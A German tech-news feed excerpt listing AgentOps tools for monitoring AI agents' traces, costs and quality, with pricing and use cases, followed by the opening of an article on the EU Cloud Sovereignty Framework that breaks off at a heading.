<li>Sollen bestehende Produkte oder Anwendungen um agentische Funktionen ergänzt oder Agentic-AI-Systeme von Grund auf neu aufgebaut werden?</li>



<li>Liegt der Fokus darauf, LLMs möglichst stabil zu betreiben oder geht es eher darum, neue Ansätze iterativ weiterzuentwickeln?</li>



<li>Steht die KI selbst im Fokus oder soll die Technologie lediglich ein bestehendes Stack optimieren?</li>
</ul>



<p class="wp-block-paragraph">Egal, wie Ihre Anforderungen konkret aussehen – die nachfolgend aufgeführten AIOps-Tools können diese abdecken.</p>



<h2 class="wp-block-heading">1. <a href="http://agentops.ai/" target="_blank" rel="noreferrer noopener">AgentOps.ai</a></h2>



<p class="wp-block-paragraph">Wenn Agenten in Teams zusammenarbeiten, ist es unerlässlich, ihre Konversationen zu tracken, um zu verstehen, was vor sich geht – und um Bugs beheben zu können.</p>



<p class="wp-block-paragraph">Das können Developer mit dem SDK von AgentOps.ai bewerkstelligen und dabei unter anderem Details wie <a href="https://www.computerwoche.de/article/4182846/ki-token-erklart.html" target="_blank">Token-Verbrauch</a>, Kosten und Latenz zu erfassen. Das Tool ist sowohl als Service als auch als On-Premises-Lösung verfügbar.  </p>



<ul class="wp-block-list">
<li><a href="https://www.agentops.ai/#pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>Basic-Tarif kostenlos nutzbar, Pro-Plan<strong> a</strong>b 40 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal:</strong> „Replay“-Analytics mit „Time-Travel-Debugging“;</li>



<li><strong>Ideal geeignet für:</strong> komplexe Debugging-Tasks im Zusammenhang mit KI-Agenten.</li>
</ul>



<h2 class="wp-block-heading">2. <a href="https://arize.com/phoenix/" target="_blank" rel="noreferrer noopener">Arize Phoenix</a></h2>



<p class="wp-block-paragraph">Auch die Open-Source-Plattform Arize Phoenix unterstützt dabei, Prompts und LLM-Antworten zu debuggen – in erster Linie mit robusten Tracing-Funktionalitäten. Die Ergebnisse lassen sich zudem mit einem Score versehen, um präziser iterieren zu können.</p>



<p class="wp-block-paragraph">Die AIOps-Lösung trackt die Ergebnisse und Tool-Aufrufe einer Vielzahl wichtiger Plattformen (etwa Anthropic, AWS und OpenAI), die von gängigen Frameworks wie <a href="https://www.computerwoche.de/article/2827054/was-ist-langchain.html" target="_blank">LangChain</a>, LlamaIndex oder DSPy initiiert werden. So wird sichtbar, welche Daten spezifische Antwortketten triggern.</p>



<ul class="wp-block-list">
<li><a href="https://arize.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>Free-Tarif kostenlos nutzbar, Pro-Plan ab 50 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal:</strong> „LLM-as-a-Judge“-Metriken, um die Qualität zu tracken;</li>



<li><strong>Ideal geeignet für:</strong> Teams, deren Fokus darauf liegt, schrittweise die Genauigkeit und Qualität von KI-Systemen zu verbessern.</li>
</ul>



<h2 class="wp-block-heading">3. <a href="https://www.bigpanda.io/de/" target="_blank" rel="noreferrer noopener">BigPanda</a></h2>



<p class="wp-block-paragraph">BigPanda hat sich in der Vergangenheit bereits einen Namen gemacht, wenn es darum ging, die Performance komplexer Systeme zu überwachen. Inzwischen widmet sich das Unternehmen verstärkt der Problemerkennung und -behebung im Zusammenhang mit fehlgeleiteten KI-Modellen.</p>



<p class="wp-block-paragraph">Das Hauptsystem von BigPanda stützt sich auf historische Daten und Machine-Learning-Algorithmen, um diese Problemstellungen zu identifizieren. Ein dedizierter Agenten-Layer verbindet die problematischen Nodes mit fehlerhaften Modellen und leitet parallel Warnmeldungen an die zuständigen menschlichen Spezialisten weiter.</p>



<ul class="wp-block-list">
<li><a href="https://www.bigpanda.io/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: „</strong>wertbasiertes“ Preismodell, auf Anfrage;</li>



<li><strong>Alleinstellungsmerkmal:</strong> automatisierte Triage;</li>



<li><strong>Ideal geeignet für: </strong>große Teams, die die Alert Fatigue, die mit einem ausgedehnten Kundenstamm einhergeht, reduzieren möchten.</li>
</ul>



<h2 class="wp-block-heading">4. <a href="https://www.braintrust.dev/">Braintrust</a></h2>



<p class="wp-block-paragraph">Um einen effektiven Optimierungszyklus für KI-Agenten aufzusetzen, ist ein <a href="https://www.computerwoche.de/article/4164993/best-practices-um-agentic-ai-systeme-aufzubauen.html" target="_blank">robuster Feedback-Loop</a> erforderlich – von den Produktionsdaten bis hin zum nächsten Agenten-Output. Das AIOps-Tool Braintrust überwacht die Produktionsauslastung und erstellt Testvektoren, die darüber Auskunft geben, wie stark die KI durch Drift oder Regression von ihrem Kurs abweicht.</p>



<p class="wp-block-paragraph">Diese Lösung kann das Gros der Testing- und Scoring-Feedback-Schleife automatisieren und problematische Muster identifizieren sowie adressieren. Zentraler Bestandteil dieser Lösung ist außerdem ein spezialisierter Data Store, der große (und auch tiefgehend verschachtelte) Test-Sammlungen und deren Ergebnisse nachverfolgen kann.</p>



<ul class="wp-block-list">
<li><a href="https://www.braintrust.dev/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Starter-Tarif, Pro-Plan ab 249 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>hochskalierbare Erfassung von Trace-Daten;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die mit Hilfe von Continuous Testing robuste KI-Guardrails entwickeln wollen.</li>
</ul>



<h2 class="wp-block-heading">5. <a href="https://chronicle-labs.com/" target="_blank" rel="noreferrer noopener">Chronicle Labs</a></h2>



<p class="wp-block-paragraph">Die Plattform von Chronicle Labs ist darauf ausgelegt, neue Versionen von Agenten, die in die Produktion ausgerollt werden sollen, entsprechend vorzubereiten und im Rahmen einer Reihe von Nutzungstests und Regressionsfällen zu überprüfen.</p>



<p class="wp-block-paragraph">Dabei verspricht das Unternehmen Tests unter realistischen Bedingungen: Zur Plattform gehört eine Reihe von Tools, die die Telemetriedaten der Produktion nach soliden Testvektoren durchsuchen. Das Ziel dabei ist, KI-Agenten vollumfänglich mit Prompts und anderen Herausforderungen zu testen, um ihre Funktionalität zu gewährleisten, sobald sie ihre Laborumgebung verlassen.  </p>



<ul class="wp-block-list">
<li><a href="https://chronicle-labs.com/book-call" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>auf Anfrage;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Back-Testing-Optionen für komplexe Test-Regime;<strong>  </strong></li>



<li><strong>Ideal geeignet für: </strong>Teams, die nach besonders leistungsstarken KI-Modellen streben, die in der Realität verankert sind.</li>
</ul>



<h2 class="wp-block-heading">6. <a href="https://www.comet.com/site/products/opik/">Comet Opik</a></h2>



<p class="wp-block-paragraph">Ein Dashboard zu erstellen, ist eine Möglichkeit, sämtliche Daten zu tracken, die KI-Agenten zugeführt oder von ihnen gesendet werden. Genau das geht auch mit Comet Opik.</p>



<p class="wp-block-paragraph">Das Tool befähigt DevOps-Teams dazu, jeden Call zu tracken und eigene Automatisierungsroutinen hinzuzufügen, um die Ergebnisse zu untersuchen. Diese lassen sich zudem anhand diverser Metriken <a href="https://www.computerwoche.de/article/4186715/31-wege-llms-zu-evaluieren.html" target="_blank">bewerten</a> oder zum selben Zweck auch an ein anderes LLM weiterleiten.  </p>



<ul class="wp-block-list">
<li><a href="https://www.comet.com/site/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Open-Source- und Cloud-Optionen, Pro-Modell ab 19 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Auto-Scoring-Funktion mit mehr als 30 Metriken, um Traces zu evaluieren;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die sich auf RAG- und Agentic-Workflows konzentrieren.</li>
</ul>



<h2 class="wp-block-heading">7. <a href="https://www.datadoghq.com/" target="_blank" rel="noreferrer noopener">Datadog</a></h2>



<p class="wp-block-paragraph">DevOps-Teams, die mit der Lösung von Datadog Logs über verschiedene Services hinweg tracken, können damit auch LLM-Prozesse überwachen. Das Tool erfasst Performance-Daten wie die „Time to first Token“ und liefert Einblicke zu möglichen Problemursachen – beispielsweise <a href="https://www.computerwoche.de/article/4194878/4-memory-systeme-um-ki-aufzuschlauen.html" target="_blank">Memory-Mangel</a>.</p>



<p class="wp-block-paragraph">Die Ergebnisse werden dann in Cost-Tracking-Mechanismen eingespeist, so dass die Buchhaltung auch antizipieren kann, wann das Budget erschöpft ist.</p>



<ul class="wp-block-list">
<li><a href="https://www.datadoghq.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Version mit begrenztem Umfang verfügbar, Pro-Tarif ab 15 Dollar pro Monat und Host;</li>



<li><strong>Alleinstellungsmerkmal: </strong>große Installationsbasis – und die Lösung ist nicht auf KI beschränkt;</li>



<li><strong>Ideal geeignet für: </strong>Enterprise-Teams, die mit etablierter Infrastruktur arbeiten.</li>
</ul>



<h2 class="wp-block-heading">8. <a href="https://www.dynatrace.com/de" target="_blank" rel="noreferrer noopener">Dynatrace</a></h2>



<p class="wp-block-paragraph">Bei Dynatrace beschäftigt man sich schon seit mehr als zwei Dekaden damit, Datenflüsse über das gesamte Stack hinweg zu erfassen. Inzwischen hat der Anbieter den Funktionsumfang seiner Plattform auch auf KI-Agenten erweitert.</p>



<p class="wp-block-paragraph">Der Fokus liegt dabei darauf, komplexe <a href="https://www.computerwoche.de/article/4157192/multi-agenten-systeme-die-neuen-microservices.html" target="_blank">Agenten-Netzwerke</a> zu unterstützen, die Performance- oder Security-Probleme erkennen und diese anschließend innerhalb definierter Leitplanken beheben sollen.</p>



<ul class="wp-block-list">
<li><a href="https://www.dynatrace.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>ab 7 Dollar pro Monat und Host;</li>



<li><strong>Alleinstellungsmerkmal: </strong>autonomes Monitoring für große KI-Installationsbasen;</li>



<li><strong>Ideal geeignet für: </strong>komplexe, hybride Umgebungen in denen LLMs mit traditionellen Services kombiniert werden.</li>
</ul>



<h2 class="wp-block-heading">9. <a href="https://galileo.ai/" target="_blank" rel="noreferrer noopener">Galileo</a></h2>



<p class="wp-block-paragraph">Selbst wenn vorab rigorose Tests gefahren werden, lässt sich die Performanz von KI-Systemen im Produktivbetrieb nicht exakt vorhersagen.  </p>



<p class="wp-block-paragraph">Das Galileo-Tool (aus dem Hause Cisco) bietet Guardrails, die die Performance tracken und dabei alles erfassen, was von der „Ground Truth“ abweicht. Die „LLM-as-Judge“-Systeme hat der Anbieter zu kompakten Modellen verdichtet, die sich auch lokal ausführen lassen.</p>



<ul class="wp-block-list">
<li><a href="https://galileo.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Tarif verfügbar, Pro-Modell ab 100 Dollar monatlich;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Echtzeit-Guardrails für bereitgestellte Agenten;<strong> </strong></li>



<li><strong>Ideal geeignet für: </strong>Security-fokussierte KI-Installationen, die besonderen Schutz hinsichtlich Halluzinationen und Datenlecks erfordern.</li>
</ul>



<h2 class="wp-block-heading">10. <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating" target="_blank" rel="noreferrer noopener">Grafana</a></h2>



<p class="wp-block-paragraph">Grafana ist schon seit längerem die erste Anlaufstelle, wenn es um Open-Source-Telemetrie geht. Inzwischen trackt die Cloud-Plattform auch, wie sich die KI-Antworten in einem agentischen Netzwerk im Zeitverlauf entwickeln, um sowohl Modell-Drift als auch <a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank">Halluzinationen</a> zu verhindern.</p>



<p class="wp-block-paragraph">Über einen Cloud-Assistenten können Anwender das Grafana-Dashboard voll und ganz auf ihre spezifischen Observability-Bedürfnisse anpassen. Das Tool umfasst dabei auch Analysemöglichkeiten auf KI-Ebene, die dafür sorgen, dass Modelle geflaggt werden, die zwar schnell reagieren, aber falsche Antworten liefern.</p>



<ul class="wp-block-list">
<li><a href="https://grafana.com/pricing/" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Version verfügbar, Pro-Tarif ab 19 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Full-Stack-Tool mit vollständig integrierten LLMs;</li>



<li><strong>Ideal geeignet für: </strong>Systeme im Enterprise-Maßstab, die KI integrieren.</li>
</ul>



<h2 class="wp-block-heading">11. <a href="https://www.helicone.ai/">Helicone</a></h2>



<p class="wp-block-paragraph">Helicone ist als intelligenter Netzwerk-Proxy konzipiert, der alle Modellanfragen routet und dabei zuverlässige Debugging-Protokolle der durchlaufenden Daten erstellt.</p>



<p class="wp-block-paragraph">Diese lassen sich in übersichtliche Diagramme umwandeln, die es erleichtern, Latenzprobleme oder Modellausfälle zu visualisieren. Darüber hinaus bietet diese Lösung auch die Möglichkeit, die <a href="https://www.computerwoche.de/article/4189343/was-ki-agenten-wirklich-kosten.html" target="_blank">KI-Kosten</a> zu tracken.</p>



<ul class="wp-block-list">
<li><a href="https://www.helicone.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Stufe verfügbar, Pro-Tarif ab 79 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Integration auf Proxy-Basis;</li>



<li><strong>Ideal geeignet für: </strong>Dev-Teams, die möglichst schnell bessere Monitoring-Funktionen einziehen wollen.</li>
</ul>



<h2 class="wp-block-heading">12. <a href="https://laminar.sh/" target="_blank" rel="noreferrer noopener">Laminar</a></h2>



<p class="wp-block-paragraph">Die Open-Source-Lösung Laminar arbeitet eng mit dem <a href="https://opentelemetry.io/" target="_blank" rel="noreferrer noopener">Open-Telemetry-Projekt</a> zusammen, um Agenten zu tracken, die im Produktiveinsatz sind. Eventuelle Fehler und Ausfallmuster sind über Protokolldateien nachvollziehbar, die über ein Komprimierungsschema effizient gespeichert werden.</p>



<p class="wp-block-paragraph">Entwickler können Traces mit einer SQL-ähnlichen Sprache durchsuchen. Bei Bedarf ermöglichen die Traces auch, in der Zeit „zurückzuspulen“ und dieselben Debugging-Inputs erneut „abzuspielen“. Das Ziel ist es, umfassende Transparenz darüber zu schaffen, inwieweit KI-Agenten die Geschäftsziele erfüllen.</p>



<ul class="wp-block-list">
<li><a href="https://laminar.sh/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Stufe verfügbar, Starter-Tarif ab 30 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>die quelloffene Lizenzierung macht Self-Hosting zu einer praktikablen Option;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die in der Lage sind, die mit Open-Source-Lösungen verbundenen Verantwortlichkeiten vollumfänglich zu übernehmen.</li>
</ul>



<h2 class="wp-block-heading">13. <a href="https://www.smith.langchain.com/">LangSmith</a></h2>



<p class="wp-block-paragraph">Echtzeitdaten sind unerlässlich, um Multi-Agenten-Systeme in der Produktion zu managen. LangSmith verfolgt Kosten, Tools und Fortschritte bei der Lösungsfindung nach. Dabei wird eine breite Palette von Agenten über SDKs für Python, TypeScript, Go und Java abgedeckt.</p>



<p class="wp-block-paragraph">Auch diese Lösung basiert auf OpenTelemetry, überwacht KI-Systeme auf Anomalien und gibt Alarmmeldungen über Dashboards sowie weitere Kommunikationskanäle wie PagerDuty aus. Das Tool kann auch tiefgehende Analysen bieten, um Probleme wie Themen-Cluster oder ungewöhnliche Fehlermuster zu Tage zu fördern.</p>



<ul class="wp-block-list">
<li><a href="https://www.langchain.com/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Seat für Solo-Entwickler, Team-Pläne ab 39 Dollar pro Seat und Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>systematischer Ansatz für Prompt-Regressionstests;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die sich bereits auf das LangChain- oder LangGraph-Framework verlassen.</li>
</ul>



<h2 class="wp-block-heading">14. <a href="https://lunary.ai/">Lunary</a></h2>



<p class="wp-block-paragraph">Speziell wenn es um Chatbots und KI-basierte Assistenten geht, macht es Sinn, auch die <a href="https://www.computerwoche.de/article/4170715/so-integrieren-sie-ki-ohne-benutzer-zu-verprellen.html" target="_blank">Benutzererfahrung</a> zu erfassen. Für diese Aufgabe bietet Lunary einen Proxy. Dieser überwacht sämtliche Interaktionen und erstellt anschließend Analytics-Dashboards, um Kennzahlen zu messen – zur User Experience oder auch den Modellkosten.</p>



<p class="wp-block-paragraph">Wenn Prompts nicht perfekt sind, ermöglicht Lunary zudem, den zugrundeliegenden Text so lange zu überarbeiten, bis die richtigen Antworten ausgegeben werden. Dank seiner Proxy-Struktur und des gängigen API-Formats soll Lunary mit jedem LLM und jedem Framework funktionieren.</p>



<ul class="wp-block-list">
<li><a href="https://lunary.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Tarif verfügbar, Team-Plan ab 20 Dollar pro User und Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>tiefgehende Integration von menschlichen Spezialisten, wenn es darum geht, Ergebnisse zu überprüfen und zu optimieren;</li>



<li><strong>Ideal geeignet für: </strong>Startups, die auf schnelle Prompt-Innovationen aus sind.  </li>
</ul>



<h2 class="wp-block-heading">15. <a href="https://newrelic.com/platform/ai-observability">NewRelic</a></h2>



<p class="wp-block-paragraph">Diese Plattform war ursprünglich dazu gedacht, die Leistung von Webanwendungen zu überwachen. Mittlerweile ist die Lösung jedoch performant genug, um auch die Datenflüsse in komplexen Agenten-Ökosystemen zu tracken.</p>



<p class="wp-block-paragraph">Das KI-gesteuerte Monitoring von NewRelic erfasst sogenannte „Golden Signals“, die über den gesamten Lifecycle Anhaltspunkte für Fehlverhalten liefern können. Die Details der Interaktionen werden über Protokolle wie <a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a> erfasst, die Informationen anschließend den für die Performance verantwortlichen Engineers zur Verfügung gestellt.</p>



<ul class="wp-block-list">
<li><a href="https://newrelic.com/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenloser Tarif vorhanden, Preise auf Anfrage;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Full-Stack-Support mit Hunderten von Integrationsmöglichkeiten für andere Tools;</li>



<li><strong>Ideal geeignet für: </strong>eingespielte Enterprise-Teams, die auch KI einbinden.</li>
</ul>



<h2 class="wp-block-heading">16. <a href="https://novaaiops.com/">Nova AI Ops</a></h2>



<p class="wp-block-paragraph">Die Nova-AI-Ops-Plattform stellt ein Team von Agenten bereit, das Cloud-Instanzen überwacht und diese (zumindest teilweise) mit Self-Healing-Fähigkeiten ausstattet.</p>



<p class="wp-block-paragraph">Jeder Agent nutzt dabei eine Kombination aus prädiktiver KI und Machine Learning, um die Cloud-Telemetrie auf Anomalien zu überwachen. Anschließend berechnet die KI den „Blast Radius“ und entscheidet, ob es sich um ein Problem handelt, das sich automatisch beheben lässt – oder einem menschlichen Supervisor übermittelt wird.</p>



<ul class="wp-block-list">
<li><a href="https://novaaiops.com/pricing"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Testversion verfügbar, Bezahltarife ab 16 Dollar pro Monat und Nutzer;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Lösung mit Fokus auf Software Reliability Engineering;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die eine Lösung suchen, die den gesamten SRE- und DevOps-Stack abdeckt.</li>
</ul>



<h2 class="wp-block-heading">17. <a href="https://www.splunk.com/de_de/products/it-service-intelligence.html">Splunk</a></h2>



<p class="wp-block-paragraph">Die Plattform von Splunk ist mittlerweile ebenfalls vollständig KI-fähig und bietet Tracking-Möglichkeiten für Agenten, die denen zur Nachverfolgung von Microservices ähneln. Dazu kommen umfangreiche Predictive-AI-Funktionen, um Protokolle und ihre Inhalte in schnelle Lösungen zu übersetzen.</p>



<p class="wp-block-paragraph">Per KI werden KI-Modelle, die etwa über MCP angebunden sind, getrackt und ihr Verhalten überwacht. Gleichzeitig haben Anwender die Möglichkeit, detailliert zu analysieren, was funktioniert und was nicht.</p>



<ul class="wp-block-list">
<li><a href="https://www.splunk.com/de_de/products/pricing.html" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>nutzungsbasierte Abrechnungsoptionen, Observability Cloud ab 15 Dollar pro Monat und Host;</li>



<li><strong>Alleinstellungsmerkmal: </strong>auf Enterprise-Stacks skalierbar;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die Agentic AI in Legacy-Systeme integrieren.</li>
</ul>



<h2 class="wp-block-heading">18. <a href="https://superpenguin.ai/#features">Super Penguin</a></h2>



<p class="wp-block-paragraph">Um den CFO vor bösen Überraschungen zu bewahren, ist SuperPenguin die richtige Lösung: Es erfasst Verbrauchsdaten von KI-Systemen und ermöglicht es, die anfallenden Kosten zu antizipieren.</p>



<p class="wp-block-paragraph">Die Zielsetzung besteht bei diesem Tool darin, möglichst fundierte Schätzungen zu den Gesamtkosten jedes Produkts zu liefern. Diese werden dazu auf Kunden, Funktionen und Teams gemappt. Bei plötzlichen Schwankungen löst ein „Spike-Detektor“ einen Alarm aus.</p>



<ul class="wp-block-list">
<li><a href="https://superpenguin.ai/#pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Version für Einzelnutzer, Bezahltarife ab 30 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>leistungsstarke KI-Accounting-Funktionen inklusive Rechnungsabgleich und Nutzungserfassung;</li>



<li><strong>Ideal geeignet für: </strong>Teams, die einen präzisen Überblick über die KI-Kostenstruktur benötigen.</li>
</ul>



<h2 class="wp-block-heading">19. <a href="https://www.vellum.ai/" target="_blank" rel="noreferrer noopener">Vellum</a></h2>



<p class="wp-block-paragraph">Diese Lösung ermöglicht es, Prompt-Ketten auf Metaebene zu managen. Zudem wird Vellum inzwischen auch als eine Art Personal Assistant vermarktet, der über vorgefertigte Konnektoren zu zahlreichen Services verfügt – etwa Gmail.</p>



<p class="wp-block-paragraph">Eine Komponente, die vielen Teams das Leben leichter machen kann ist dabei ein „LLM Cost Optimizer“, der verspricht, kostengünstigere Wege aufzutun, um bestimmte Prompts auszuführen. Das kann laut Anbieter zu Einsparungen von bis zu 60 Prozent führen.</p>



<ul class="wp-block-list">
<li><a href="https://www.vellum.ai/pricing" target="_blank" rel="noreferrer noopener"><strong>Preisgefüge</strong></a><strong>: </strong>kostenlose Testversion verfügbar, Bezahltarife ab 30 Dollar pro Monat;</li>



<li><strong>Alleinstellungsmerkmal: </strong>Fokus auf multimodale Pipelines für echte Agentic-AI-Lösungen;</li>



<li><strong>Ideal geeignet für: </strong>Produkt-Teams mit komplexen Prompt-Engineering-Workflows.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation CIO.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud Sovereignty Framework – das sollten Sie wissen]]></title>
<description><![CDATA[Der „Sovereignty Score“ soll künftig Transparenz über den tatsächlichen Unabhängigkeitsgrad digitaler Dienstleistungen schaffen.GaudiLab | shutterstock.com



Chips aus Taiwan, Erdöl vom persischen Golf und Autos aus Deutschland – was lange als gesetzt galt, wird heute zunehmend in Frage gestellt...]]></description>
<link>https://tsecurity.de/de/3702163/it-security-nachrichten/cloud-sovereignty-framework-das-sollten-sie-wissen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702163/it-security-nachrichten/cloud-sovereignty-framework-das-sollten-sie-wissen/</guid>
<pubDate>Tue, 04 Aug 2026 06:22:02 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/GaudiLab_shutterstock_2336653719_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Senior Executive Decision 16z9" class="wp-image-4199834" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Der „Sovereignty Score“ soll künftig Transparenz über den tatsächlichen Unabhängigkeitsgrad digitaler Dienstleistungen schaffen.</figcaption></figure><p class="imageCredit">GaudiLab | shutterstock.com</p></div>



<p class="wp-block-paragraph">Chips aus Taiwan, Erdöl vom persischen Golf und Autos aus Deutschland – was lange als gesetzt galt, wird heute zunehmend in Frage gestellt. Wo sich Märkte und Knowhow auf wenige Anbieter konzentrieren, entstehen zwar enorme Skaleneffekte. Gleichzeitig wachsen jedoch auch die Abhängigkeiten.</p>



<p class="wp-block-paragraph">Das geht oft mit Risiken einher, die erst dann sichtbar werden, wenn Lieferungen ausfallen, Preise steigen, sich die Nachfrage weiterentwickelt oder neue Regulationen anstehen. </p>



<p class="wp-block-paragraph">Beispiel künstliche Intelligenz (KI): <a href="https://spectrum.ieee.org/state-of-ai-index-2026" target="_blank" rel="noreferrer noopener">Daten</a> des Forschungsinstituts Epoch AI zufolge, sind in den vergangenen zwanzig Jahren lediglich <strong>zwei </strong>nennenswerte KI-Modelle in Europa entstanden – gegenüber <strong>59</strong> in den USA und <strong>35</strong> in China.</p>



<p class="wp-block-paragraph">Ganz ähnlich verhält sich das mit Cloud-Technologien. Ein Fakt, der heute auf den heimischen Markt zurückschlägt.</p>



<h2 class="wp-block-heading">Das Cloud Sovereignty Framework der EU</h2>



<p class="wp-block-paragraph">Von Büroapplikationen über Speicher- und Rechenressourcen bis hin zu Software – was die Provider aus ihren Rechenzentren hoch skalierbar, maximal verfügbar und äußerst innovativ bereitstellen, kommt in den meisten Fällen <a href="https://www.computerwoche.de/article/4193189/weckruf-zur-digitalen-souveranitat.html" target="_blank">nicht aus Europa</a>.</p>



<p class="wp-block-paragraph">Die Folgen veranschaulicht etwa der „<a href="https://www.bitkom.org/Bitkom/Publikationen/Cloud-Report-2026" target="_blank" rel="noreferrer noopener">Cloud Report 2026</a>“ des Bitkom. Demnach:</p>



<ul class="wp-block-list">
<li>halten <strong>85 Prozent</strong> der Befragten Deutschland für zu abhängig von US-Anbietern.</li>



<li>sehen sich <strong>64 Prozent</strong> der hiesigen Anwender aufgrund der Politik der US-Regierung gezwungen, die eigene IT-Strategie zu prüfen.</li>
</ul>



<p class="wp-block-paragraph">Andere Länder lassen bereits Taten sprechen: So hat die französische Regierung angekündigt, Windows auf Behördenrechnern durch Linux <a href="https://www.computerwoche.de/article/4157920/frankreich-will-windows-abschaffen.html" target="_blank">ersetzen zu wollen</a>. Parallel dazu hat die französische Krankenkasse bereits 80.000 Mitarbeiter von Microsoft Teams, Zoom und Dropbox auf eigene Alternativen umgezogen.</p>



<p class="wp-block-paragraph">Das ist jedoch kein französisches oder deutsches Thema – die Frage, wie digital abhängig Firmen, Staaten und Gesellschaften von einzelnen, großen Anbietern sind, stellt sich überall in Europa. Und nicht erst seit gestern.</p>



<p class="wp-block-paragraph">Setzte <a href="https://www.computerwoche.de/article/3821798/gaia-x-ist-tot-lang-lebe-8ra.html" target="_blank">Gaia-X</a> noch auf gemeinsame Standards für souveränes Cloud Computing, verfolgt die Europäische Union nun einen pragmatischeren Ansatz: Mit dem im Oktober 2025 vorgestellten <a href="https://commission.europa.eu/document/download/09579818-64a6-4dd5-9577-446ab6219113_en" target="_blank" rel="noreferrer noopener">Cloud Sovereignty Framework</a> (PDF) – kurz CSF – soll digitale Souveränität messbar werden.</p>



<p class="wp-block-paragraph">Dazu setzt das CSF beispielsweise auf Initiativen wie Gaia-X sowie Regulierungen wie <a href="https://www.computerwoche.de/article/4125749/die-grosten-lucken-der-nis2-und-dora-umsetzung.html" target="_blank">DORA und NIS2</a> auf. Das Ziel dabei ist, entsprechend konforme Anbieter in der öffentlichen Beschaffung zu bevorzugen, um Risiken zu reduzieren.</p>



<p class="wp-block-paragraph">Dabei geht es um Fragen wie:</p>



<ul class="wp-block-list">
<li>Sind Provider in der europäischen Rechtsordnung verankert?</li>



<li>Inwieweit betreiben sie KI-Modelle und Daten-Pipelines unter EU-Kontrolle?</li>



<li>Woher stammt die eingesetzte Hard-, Soft- und Firmware?</li>
</ul>



<p class="wp-block-paragraph">Von technischen über operative bis hin zu juristischen Aspekten evaluiert das CSF den Grad der digitalen Souveränität entlang von acht Zielkategorien über den sogenannten „Sovereignty Score“. Diese Kennzahl soll künftig auf einen Blick zeigen, wie digital unabhängig Anbieter und ihre Offerings <a href="https://www.computerwoche.de/article/4132736/deutschland-stack-kritik-an-closed-source-schlupflochern.html" target="_blank">wirklich sind</a>.</p>



<p class="wp-block-paragraph">Geht es nach dem Willen der EU, soll dieser Score künftig ausschlaggebend dafür sein, für welchen Cloud-Dienstleister sich Behörden und Ämter entscheiden. Anders ausgedrückt: Nur wer die Mindestanforderungen in Sachen Souveränität erfüllt, hat bei öffentlichen Vergabeverfahren künftig überhaupt Erfolgschancen.</p>



<h2 class="wp-block-heading">Was den Souveränitäts-Score treibt</h2>



